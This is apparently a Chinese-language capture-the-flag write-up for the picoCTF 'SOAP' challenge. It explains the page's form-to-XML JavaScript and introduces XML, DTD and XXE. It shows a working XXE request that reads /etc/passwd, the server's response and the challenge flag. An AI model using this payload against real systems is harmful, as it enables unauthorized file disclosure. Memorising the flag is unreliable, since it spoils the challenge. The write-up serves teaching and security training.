## 首頁(其他picoCTF writeup) https://hackmd.io/@sunfrancis12/ry_LLAgp3 作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12 ## SOAP 進到網頁後可以看到如下頁面 ![](https://hackmd.io/_uploads/SknB5r8p2.png) 點擊details按鈕,跳出一段資訊 ![](https://hackmd.io/_uploads/ByzF9S8a3.png) 檢視原始碼,可以發現點擊details按鈕會觸發並將資料POST到/data ``` <form class="detailForm" action="/data" method="POST"> <input required type="hidden" name="ID" value="2"> <button type="submit" class="btn btn-sm btn-outline-secondary">Details</button> </form> ``` 再看看detailsCjeck.js ``` document.querySelectorAll('.detailForm').forEach(item => { item.addEventListener("submit", function(e) { checkDetails(this.getAttribute("method"), this.getAttribute("action"), new FormData(this)); e.preventDefault(); }); }); function checkDetails(method, path, data) { const retry = (tries) => tries == 0 ? null : fetch( path, { method, headers: { 'Content-Type': window.contentType }, body: payload(data) } ) .then(res => res.status == 200 ? res.text().then(t => t) : "Could not find the details. Better luck next time :(" ) .then(res => document.getElementById("detailsResult").innerHTML = res) .catch(e => retry(tries - 1)); retry(3); } ``` ## js語法介紹 document.querySelectorAll是一種js常見的語法,可以用來指定一個class ``` document.querySelectorAll('.detailForm') ``` addEventListener可以用來監聽('')裡面指定的class動作,當該class一被觸發,可以指定要被觸發的function ``` item.addEventListener("submit", function(e)) ``` fetch()是一種js發送request的方式,PATH是封包要傳送的路徑,request則是完整封包內容(包含header和body) ``` fetch(PATH , request) ``` .then()是指當上一步的程式執行完成後,可以直接使用執行結果做一系列的動作 ``` func().then( ...想執行的內容... ) ``` 我們再看看xmlDetailsCheckPayload.js,看起來是將input變成xml的形式 ``` window.contentType = 'application/xml'; function payload(data) { var xml = '<?xml version="1.0" encoding="UTF-8"?>'; xml += '<data>'; for(var pair of data.entries()) { var key = pair[0]; var value = pair[1]; xml += '<' + key + '>' + value + '</' + key + '>'; } xml += '</data>'; return xml; } ``` 打開burp,開啟interprect攔截封包,攔截到的封包內容如下 ``` POST /data HTTP/1.1 Host: saturn.picoctf.net:57514 Content-Length: 61 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Content-Type: application/xml Accept: */* Origin: http://saturn.picoctf.net:57514 Referer: http://saturn.picoctf.net:57514/ Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close <?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data> ``` POST的body如下 ``` <?xml version="1.0" encoding="UTF-8"?> <data> <ID>1</ID> </data> ``` 他會將一串的XML查詢語法POST到/data,我們要做的事情就很明確了,沒錯就是XXE ## XML&XXE ### What is XML? 可擴展標記語言 (XML) 可讓您以可共用的方式定義和儲存資料。XML 支援電腦系統 (例如網站、資料庫和第三方應用程式) 之間的資訊交換。預先定義的規則可讓您輕鬆地透過任何網路將資料當做 XML 檔案傳輸,因為收件者可以使用這些規則來準確且有效地讀取資料。 為什麼 XML 很重要? 可擴展標記語言 (XML) 是一種標記語言,可提供規則來定義任何資料。與其他程式設計語言不同,XML 本身不能執行運算操作。相反,任何程式設計語言或軟體都可以用於結構式資料管理。 > 引用自:https://aws.amazon.com/tw/what-is/xml/ ### XXE(XML injection) XML外部處理器漏洞 ( XML External Entity, XXE ) ,你可能也聽過他更普遍的名字「XML Injection」。而這項注入式攻擊入選了新版2017年OWASP Top 10十大網站安全風險且位居第四,XXE與越來越多的微服務興起有著密切的關係。許多以XML為基礎的網站服務,忽略了管控權限的重要性,能直接透過XML語法進行請求或上傳,而造成處理器漏洞攻擊,甚至產生資料外洩、DoS等嚴重的風險。 > 引用自:https://cms.aaasec.com.tw/index.php/2019/03/29/z3/ ### 以下關於XXE的介紹取自網路文章,這片文章寫得十分詳細且內容完整,請看[這篇](https://ithelp.ithome.com.tw/articles/10245604) ### DTD(Document Type Definition) DTD定義了XML的架構以及XML中有甚麼樣的格式,且有四個組成的元素: 元素(Elements) ``` <!ELEMENT classroom (teather,student)> ``` 屬性(Attribute) ``` <!ATTLIST message id CDATA #REQUIRED> ``` 實體(Entities) ``` <!ENTITY numbers "0912345678"> ``` 注釋(Comments) ``` <!-- abcdefghijklmnopqrstuvwxyz --> ``` file protocol https://zh.wikipedia.org/zh-tw/%E6%96%87%E4%BB%B6URI%E6%96%B9%E6%A1%88 根據題目的敘述,我們需要將/etc/passwd的結果印出來,我們將封包修改成以下內容 ``` POST /data HTTP/1.1 Host: saturn.picoctf.net:52050 Content-Length: 61 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Content-Type: application/xml Accept: */* Origin: http://saturn.picoctf.net:52050 Referer: http://saturn.picoctf.net:52050/ Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY file SYSTEM “file:///etc/passwd” >]><data><ID>&file;</ID></data> ``` http response結果: ``` HTTP/1.1 200 OK Server: Werkzeug/2.3.6 Python/3.8.10 Date: Fri, 25 Aug 2023 15:22:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1023 Connection: close Invalid ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flask:x:999:999::/app:/bin/sh picoctf:x:1001:picoCTF{XML_3xtern@l_3nt1t1ty_4dbeb2ed} ```